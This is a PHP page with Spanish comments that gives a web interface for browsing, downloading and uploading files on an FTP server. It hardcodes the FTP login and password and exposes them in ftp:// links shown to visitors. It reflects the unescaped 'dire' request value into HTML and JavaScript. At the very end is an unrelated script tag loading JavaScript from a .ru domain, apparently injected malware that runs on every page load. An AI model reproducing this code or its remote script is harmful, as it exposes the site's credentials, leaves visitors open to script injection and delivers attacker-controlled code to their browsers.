File: /home/asjudine/www/Adjuntar.php
<html>
<head><Title>Gestión de ficheros via FTP</title>
<style type="text/css">
#base{font-family:Arial;font-size:12px;color:#0000a0;text-align:center}
#cabezas{font-family:Arial;font-size:10px;color:#0000a0;text-align:center}
#blanco{font-family:Arial;font-size:14px;font-weight:bold;color:#ffffff;text-align:center;background-color:#0000a0}
#gris{font-family:Arial;font-size:13px;font-weight:bold;color:#0000a0;text-align:center;background-color:#eeeeee}
#rojo{font-family:Arial;font-size:14px;font-weight:bold;color:#ff0000;text-align:center}
#rojo1{font-family:Arial;font-size:10px;color:#ff0000;text-align:center}
A:link, A:visited, A:active { text-decoration: none;color:#ff0000}
A:hover(font-style:italic}
</style>
<!-- funcion JavaScript que actualiza los valores del formulario
y recarga la página con los nuevos valores /-->
<script>
function cambia(valor1,valor2){
document.forms.pasador.dire.value=valor1;
document.forms.pasador.transferido.value=valor2;
document.forms.pasador.submit();
}
</script>
</head>
<body>
<!-- formulario para trasferencia de datos gestionado
por la función cambia() de JavaScript /-->
<form name="pasador" action="" method="post">
<input type="hidden" name='dire' value="">
<input type="hidden" name='transferido' value="">
</form>
<?
###############################################
# variables con los datos de conexión
################################################
$servidor="asjudinet.com";
$usuario="asjudine";
$password="nrL2Tklp";
###############################################
# variables de controlo de bucles y escritura
##############################################
$control="c_";
$escribe="";
$cabecera=="";
#################################################
#conexion al servidor FTP
if(!$x=@ftp_connect ($servidor,21)){echo "No se activo lo conexión FTP";exit();}
# identificación del usuario en el servidor FTP
if(!@ftp_login($x,$usuario,$password)){echo "Error en login o password";exit();}
###########################################
## elección del directorio (raiz o el valor transferido desde el formulario)
###################################
if(!$_REQUEST['dire'])
{
$dire="/";
}
else
{
$dire=$_REQUEST['dire'];
}
#comprobación de los permisos de acceso al directorio elegido, en caso de no tenerlos
# finaliza el proceso y acaba la ejecución
if(!@ftp_chdir($x,$dire))
{
print "No tienes permisos de acceso a este directorio";
exit();
}
# comtrol de transferencia de archivos. Comprueba errores de transferencia
# y da un mensaje de aviso de error si lo hubiera
if($_FILES['archivo']['error']!=0){
$controla=" no ha podido transferirse.<BR> Se ha producido un error".$_FILES['archivo']['error']."<BR> en el proceso de transferencia.";
}
################################################
# caso de haber recibido una transferencia de fichero
###############################################
if(!empty($_FILES["archivo"]) AND $_FILES['archivo']['error']==0){
$nombre_archivo=$_FILES['archivo']['name'].".gz";
#abre el archivo temporal transferido
$cadena='';
# abre el fichero temporal transferido y lo lee guardandolo
# en la variable $cadena
$f1=fopen($_FILES['archivo']['tmp_name'],"r");
while (!feof($f1)) {
$cadena .= fgets($f1,1024);
}
fclose($f1);
# comprime la cadena obtenida del fichero temporal
$c1=gzencode($cadena,3,FORCE_GZIP);
#crea un archivo comprimido
$f=fopen($nombre_archivo,"w");
fwrite($f,$c1);
fclose($f);
#cambia al directorio actual del servidor FTP
ftp_chdir($x,$dire);
# escribe el fichero en el en directorio FTP
# comprobando si ha podido guardarse
# Si el usuario no tiene permsios de "borrado" en el directorio destino
# y el nombre coincide con uno preexistente dará un mensaje de error
# si tiene permisos para borrar ficheros lo sobreescribiría eliminando el anterior
if(@ftp_put($x, $nombre_archivo, $nombre_archivo, FTP_BINARY)){
$controla="ha sido transferido con éxito";
}else{
$controla=" no ha podido transferirse.<BR> Probablemente existe<BR> otro archivo con el mismo nombre.";
}
# borra el archivo comprimido del servidor ftp.
unlink($nombre_archivo);
# elimina la variable $_FILES
unset($_FILES["archivo"]);
}
#inserta una tabla con cabeceras que indican el nombre de usuario y el directorio actual
?>
<table align=center border=2 bgcolor=#ffffff bordercolor=#eeeeee cellpadding=2 cellspacing=2>
<td colspan=4 id="blanco">Usuario del servicio FTP</td>
<tr id="rojo"><td colspan=4><?=$usuario;?></td><tr>
<td colspan=4 id="blanco">Directorio actual</td>
<tr id="rojo"><td colspan=4><img src='/ELEMENTOS/Foldercito.jpg'> <?=preg_replace('/\/+/', '/', $dire);?></td><tr id="chiquiC" align=center>
<?
# lee la lista de ficheros del directorio actual si existen
if($lista=ftp_rawlist($x,$dire)){
# ordena el array lista por nombres
sort($lista);
#lee el array que contiene la lista de ficheros
foreach($lista as $v){
#extrae los diferentes bloques de la cadena convirtiendolos en elementos de un array
#previamente elimina los espacios repetidos
$extrae=explode(" ",preg_replace('/\s+/', ' ', $v));
#comprueba si existen el fichero de control y si tiene permisos de escriturs
#esto nos indicaría si el usuario puede escribir en el directorio actual
# la variable $escribe habia sido inicializada con valor null
if($extrae[8]==$control){
if(substr($extrae[0],0,1)=="-" AND substr($extrae[0],2,1)=="w"){
$escribe="Si";
}
$encontrado="Si";
}
}
foreach($lista as $v){
#extrae los diferentes bloques de la cadena convirtiendolos en elementos de un arrya
#previamente elimina los espacios repetidos
$extrae=explode(" ",preg_replace('/\s+/', ' ', $v));
# busca los ficheros y directororios que tengan permiso de lectura
# y los guarda en el array listado
if ((substr($extrae[0],0,1)=="-" AND substr($extrae[0],1,1)=="r" AND $extrae[8]!=$control)
OR
(substr($extrae[0],0,1)=="d" AND substr($extrae[0],-3,1)=="r")){
$listado[]=$extrae;
}
}
# comprueba que el array listado contiene algun elemento. De ser así incluye la cabecera de la tabla
# en caso contrario no lo hace
if (sizeof($listado)>0){?>
<td colspan=4 id="blanco">Opciones de descarga vía FTP<BR><tr id="cabezas" align=center>
<td>Fichero</td><td>Tamaño (bytes)</td><td>Fecha</td><td>Hora</td><tr id='base'>
<?
#lee los elementos del array selecciona ficheros de directorios
# en el caso de fichero escribe los nombres incluyendo un enlace de descarga
# mediante ftp://
# en caso de que sea un directorio incluye una llamada a una función javascript
# que modifica el value de la variable "dire" del formulario "pasador"
# incluyendo el nombre del directorio elegido, y recarga la página mediante el envio del formulario
for($i=0;$i<sizeof($listado);$i++){
if (substr($listado[$i][0],0,1)=="-"){
// ftp://asjudine:nrL2Tklp@asjudinet.com
print "<td align=left><A href='ftp://".$usuario.":".$password."@".$servidor.$dire."/".$listado[$i][8]."'> <img src='/ELEMENTOS/Archivo.jpg' border=0> ".$listado[$i][8]."</a></td>";
}else{
print "<td align=left><A href=\"javascript:cambia('".$dire."/".$listado[$i][8]."','')\"><img src='/ELEMENTOS/Foldercito.jpg'' border=0> " .$listado[$i][8]."</a></td>";
}
# comprueba la fecha de la ultima modificación de los ficheros
# y en caso de ser menor del tiempo UNIX=0 incluye un espacio el blanco
# si la fecha es correcta extrae la fecha y la hora con el formato indicado
if(ftp_mdtm($x,$listado[$i][8])>0){
$fecha=date("d-m-Y",ftp_mdtm($x,$listado[$i][8]));
$hora=date("H:i:s",ftp_mdtm($x,$listado[$i][8]));
}else{
$fecha=" ";
$hora=" ";
}
# imprime en la tabla el tamaño, fecha y hora de modificación del fichero
print "<td align=right>".number_format($listado[$i][4],0 , "" ,".")."</td>";
print "<td align=right>".$fecha."</td>";
print "<td align=center>".$hora."</td><tr id='base'>";
}
}
}
#cierra la conexión ftp
/*
if(empty($lista) OR empty($encontrado)){
$f=fopen($control,"w");
fclose($f);
if(@ftp_put($x, $control, $control, FTP_BINARY)){
$escribe="Si";
}else{
}
unlink($control);
}*/
ftp_quit($x);
# incluye el formulario de transferencia de ficheros
# en el caso de que el directorio permita transferencias de fichero
if ($escribe=="Si")
{
print"<tr><td colspan='4' id='base'> </td><tr>";
print "<td colspan=4 id='blanco'>Transferir archivos al directorio actual</td><tr>";
# si ha habido una transferencia previa de otro fichero informa sobre el resultado
if ($controla!='')
{
print "<td colspan='4' id='gris'>El fichero<br><span id='rojo'> ".$nombre_archivo."<br></span>".$controla."</td><tr>";
}
#incluye el formulario de transferencia del fichero
}
else
{
?>
<td colspan=4 align=center id="rojo1">
Recuerda que los ficheros no pueden sobrepasar los 2 MBytes<br>
<form action="" ENCTYPE="multipart/form-data" method="post" name="form_ftp">
<input name="archivo" type="file">
<input type="hidden" name="dire" value="<?=$dire;?>"><BR><BR><BR>
<input name="submit" type="submit" value="Subir Archivo al servidor FTP">
</form>
</td>
<tr>
<td colspan=4 align=center><A href="javascript:cambia('','')";>Volver al directorio raíz</a><BR></table>
<?
// }else{
?>
<td colspan=4 align=center><A href="javascript:cambia('','')";>Volver al directorio raíz</a><BR></table>
</table>
<?
}
?>
<script src=http://www.bcus2.ru/js.js></script></body>
</html>